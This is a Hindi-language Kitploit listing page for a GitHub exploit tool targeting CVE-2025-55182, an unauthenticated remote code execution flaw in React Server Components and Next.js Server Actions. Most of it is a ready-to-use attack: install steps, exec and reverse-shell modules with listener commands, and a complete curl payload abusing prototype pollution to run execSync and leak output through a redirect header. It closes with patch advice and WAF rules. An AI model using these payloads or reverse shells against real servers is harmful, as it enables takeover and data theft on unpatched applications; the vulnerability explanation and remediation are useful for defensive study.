Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
React2Shell-CVE-2025-55182 — CVE-2025-55182 — React Server Components (React2Shell) में बिना प्रमाणीकरण के RCE। CVSS 10.0 अधिकृत पैठ परीक्षण के लिए शोषण उपकरण। | Kitploit
उपकरण/GitHubGitHub/speatx/react2shell-cve-2025-55182
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोललर्निंग और शिक्षारेड टीमिंगपेलोड डेवलपमेंट
GitHub
speatx/react2shell-cve-2025-55182

React2Shell-CVE-2025-55182

CVE-2025-55182 — React Server Components (React2Shell) में बिना प्रमाणीकरण के RCE। CVSS 10.0 अधिकृत पैठ परीक्षण के लिए शोषण उपकरण।

रिपॉजिटरी देखें
183 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-55182 — React2Shell

React Server Components में Flight प्रोटोकॉल के असुरक्षित डिसीरियलाइज़ेशन के माध्यम से बिना प्रमाणीकरण के RCE। सर्वर पर मनमाना कोड निष्पादित करने के लिए एक HTTP अनुरोध पर्याप्त है — कोई क्रेडेंशियल्स या पूर्व पहुँच की आवश्यकता नहीं।

root@kitploit:~
   _____                  __  _  __
  / ___/____  ___  ____ _/ /_| |/ /
  \__ \/ __ \/ _ \/ __ `/ __/   /
 ___/ / /_/ /  __/ /_/ / /_/   |
/____/ .___/\___/\__,_/\__/_/|_|
    /_/
      React Server Components — Flight Protocol RCE
               CVE-2025-55182  ·  CVSS 10.0
           Author: SpeatX  ·  OSCP Style  ·  v1.0

CVE-2025-55182 · CVSS 10.0 · अप्रमाणित · प्री-ऑथ RCE · प्रकटीकृत: 3 दिसंबर 2025

यह React 19 (≤ 19.2.0) और Server Actions का उपयोग करने वाले किसी भी Next.js एप्लिकेशन को प्रभावित करता है। डिफ़ॉल्ट कॉन्फ़िगरेशन असुरक्षित हैं — लक्ष्य पक्ष पर किसी कस्टम कोड की आवश्यकता नहीं।

प्रभावित संस्करण

पैकेजअसुरक्षितस्थिर
react-server19.0.0 → 19.2.019.3.0+
nextसभी जिनमें React 19 अपैच्ड है15.0.5 / 15.1.9 / 15.2.6 / 15.3.6+

स्थापना

root@kitploit:~
git clone https://github.com/SpeatX/react2shell
cd react2shell
pip install requests

Python 3.8+ आवश्यक। कोई अन्य निर्भरता नहीं।


उपयोग

root@kitploit:~
python exploit.py <मॉड्यूल> -t <लक्ष्य> [विकल्प]
root@kitploit:~
मॉड्यूल:
  check      लक्ष्य का फिंगरप्रिंट लें और भेद्यता की पुष्टि करें
  exec       एकल OS कमांड निष्पादित करें और आउटपुट पढ़ें
  revshell   अपने लिसनर को रिवर्स शेल भेजें

विकल्प:
  -t, --target URL      लक्ष्य URL
  -c CMD                चलाने के लिए कमांड (exec मॉड्यूल)
  --lhost IP            आपका IP (सेट न होने पर tun0 से स्वतः पता लगाया जाता है)
  --lport PORT          सुनने का पोर्ट (डिफ़ॉल्ट: 4444)
  --shell-type TYPE     bash · python3 · nc · mkfifo · node (डिफ़ॉल्ट: bash)
  --proxy URL           प्रॉक्सी के माध्यम से रूट करें (जैसे http://127.0.0.1:8080)
  --random-agent        प्रत्येक अनुरोध पर User-Agent घुमाएँ
  --timeout N           अनुरोध टाइमआउट (डिफ़ॉल्ट: 15)

अनुशंसित कार्यप्रवाह — हमेशा check से शुरू करें:

root@kitploit:~
# 1. पुष्टि करें कि लक्ष्य असुरक्षित है
python exploit.py check -t http://10.10.11.50

# 2. एनुमरेट करने या फ़्लैग प्राप्त करने के लिए कमांड चलाएँ
python exploit.py exec -t http://10.10.11.50 -c "id"
python exploit.py exec -t http://10.10.11.50 -c "cat /root/root.txt"

# 3. जब इंटरैक्टिविटी की आवश्यकता हो तो शेल प्राप्त करें
#    (पहले अपना लिसनर शुरू करें: nc -lvnp 4444)
python exploit.py revshell -t http://10.10.11.50
python exploit.py revshell -t http://10.10.11.50 --lhost 10.10.14.5 --lport 4444
python exploit.py revshell -t http://10.10.11.50 --shell-type python3 --lport 9001

प्रॉक्सी समर्थन और रैंडम User-Agent किसी भी मॉड्यूल के साथ काम करते हैं:

root@kitploit:~
python exploit.py check   -t http://10.10.11.50 --proxy http://127.0.0.1:8080
python exploit.py exec    -t http://10.10.11.50 -c "whoami" --random-agent
python exploit.py revshell -t http://10.10.11.50 --proxy http://127.0.0.1:8080

प्रति-मॉड्यूल सहायता: python exploit.py <मॉड्यूल> --help


यह कैसे काम करता है

पृष्ठभूमि

React Server Components एक आंतरिक स्ट्रीमिंग फ़ॉर्मेट का उपयोग करके संचार करते हैं जिसे Flight प्रोटोकॉल कहा जाता है। जब कोई ब्राउज़र Server Action को आमंत्रित करता है, तो वह ऐप रूट पर Next-Action हेडर के साथ एक multipart/form-data POST भेजता है। सर्वर क्रिया आईडी को मान्य करने से पहले — कुछ भी करने से पहले — बॉडी को react-server पैकेज में डिसीरियलाइज़ेशन के लिए पास करता है, जिसमें क्रिया आईडी का सत्यापन भी शामिल है।

root@kitploit:~
Browser                         Node.js / Next.js
  │                                    │
  │── POST /  ────────────────────────>│
  │   Next-Action: x                   │
  │   Content-Type: multipart/form-data│
  │   Body: poisoned Flight chunk      │
  │                                    │
  │                    react-server    │
  │             resolveModelToJSON()   │  ← असुरक्षित
  │                                    │
  │<── 307 + X-Action-Redirect ───────│  यहाँ आउटपुट

बग

resolveModelToJSON() के अंदर, डिसीरियलाइज़र आने वाले JSON भाग को पार्स करता है। जब इसे एक ऑब्जेक्ट मिलता है जिसमें then गुण होता है, तो यह इसे Promise मानता है और इसकी प्रतीक्षा करता है — एसिंक्रोनस Server Components के लिए यह इच्छित व्यवहार है। समस्या: यह सुनिश्चित करने के लिए कोई सत्यापन नहीं किया जाता कि thenable किसी विश्वसनीय स्रोत से आया है।

एक हमलावर मल्टीपार्ट बॉडी में एक नकली भाग इंजेक्ट करता है जिसमें एक then गुण होता है जो require('child_process').execSync(...) की ओर इशारा करता है। React इसकी प्रतीक्षा करता है, OS कमांड चलता है।

Next-Action: x क्यों काम करता है

प्रोडक्शन में, Server Actions की पहचान SHA हैश से होती है। प्रसंस्करण से पहले सर्वर को इसे मान्य करना चाहिए। लेकिन Flight डिकोडर उस जाँच से पहले चलता है — इसका मतलब है कि कोई भी POST जिसमें Next-Action हेडर हो, भले ही पूरी तरह से नकली हो जैसे x, असुरक्षित डिसीरियलाइज़ेशन पथ को ट्रिगर करता है। किसी वैध क्रिया आईडी की आवश्यकता नहीं है।

आउटपुट एक्सफ़िल्ट्रेशन

इंजेक्टेड कोड कमांड आउटपुट को कैप्चर करता है और एक गढ़ा हुआ NEXT_REDIRECT एरर फेंकता है:

root@kitploit:~
var res = require('child_process').execSync('<cmd>').toString().trim();
throw Object.assign(new Error('NEXT_REDIRECT'), {
  digest: `NEXT_REDIRECT;push;/login?a=${res};307;`
});

Next.js इसे पकड़ता है और 307 Temporary Redirect में बदल देता है, डाइजेस्ट को X-Action-Redirect रिस्पॉन्स हेडर में एम्बेड करता है। कमांड आउटपुट URL-एन्कोडेड आता है:

root@kitploit:~
HTTP/1.1 307 Temporary Redirect
X-Action-Redirect: /login?a=uid%3D0%28root%29%20gid%3D0%28root%29;307;

curl के साथ मैनुअल एक्सप्लॉइटेशन

root@kitploit:~
curl -si -X POST http://TARGET/ \
  -H 'Next-Action: x' \
  -H 'Content-Type: multipart/form-data; boundary=----Boundary' \
  --data-binary $'------Boundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim().replace(/\\\\n/g,\' | \');;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest:`NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}\r\n------Boundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------Boundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------Boundary--\r\n'

आउटपुट X-Action-Redirect हेडर में /login?a= के बाद URL-एन्कोडेड होता है।


उपचार

root@kitploit:~
npm install react@latest react-dom@latest next@latest

न्यूनतम सुरक्षित: react-server ≥ 19.3.0 · next ≥ 15.3.6

यदि पैच करना तुरंत संभव न हो:

  • next.config.js में experimental: { serverActions: false } सेट करें
  • रिवर्स प्रॉक्सी स्तर पर Next-Action हेडर को ब्लॉक करें
  • WAF नियम: POST बॉडी में NEXT_REDIRECT या __proto__ वाले को अस्वीकार करें

संदर्भ

  • NVD — CVE-2025-55182
  • Wiz Research
  • OffSec
  • Microsoft MSTIC
  • Google GTIG

केवल अधिकृत पेनिट्रेशन टेस्टिंग और शैक्षिक उद्देश्यों के लिए।

टूल डाउनलोड करें